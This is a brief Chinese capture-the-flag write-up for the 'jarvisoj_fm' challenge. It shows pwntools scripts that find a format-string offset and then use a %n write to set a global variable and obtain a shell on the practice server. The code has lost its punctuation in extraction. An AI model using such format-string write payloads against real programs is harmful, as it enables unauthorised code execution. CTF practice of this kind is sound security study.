jarvisoj_fm

jarvisoj_fm 检查一下拖入ida查看第14行很明显的fst构造payload测偏移from pwn import * context(arch i386,os linux,log_level debug) io gdb.debug(./fm, b *0x80485ad c ) payload baaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. io.sendline(payload) io.interactive()测出偏移为11位找到我们要修改的地址,即参数x的地址0x804A02C因为我们要把x赋值为4,以获取程序提供的shell所以payload前面应该是4个字符from pwn import * context(arch i386,os linux,log_level debug) #io process(./fm) io remote(node5.buuoj.cn,25109) payload baaaa%14$naaa p64(0x804A02C) io.sendline(payload) io.interactive()本地成功跑通,接下来连接题目服务器即可最后成功获取flag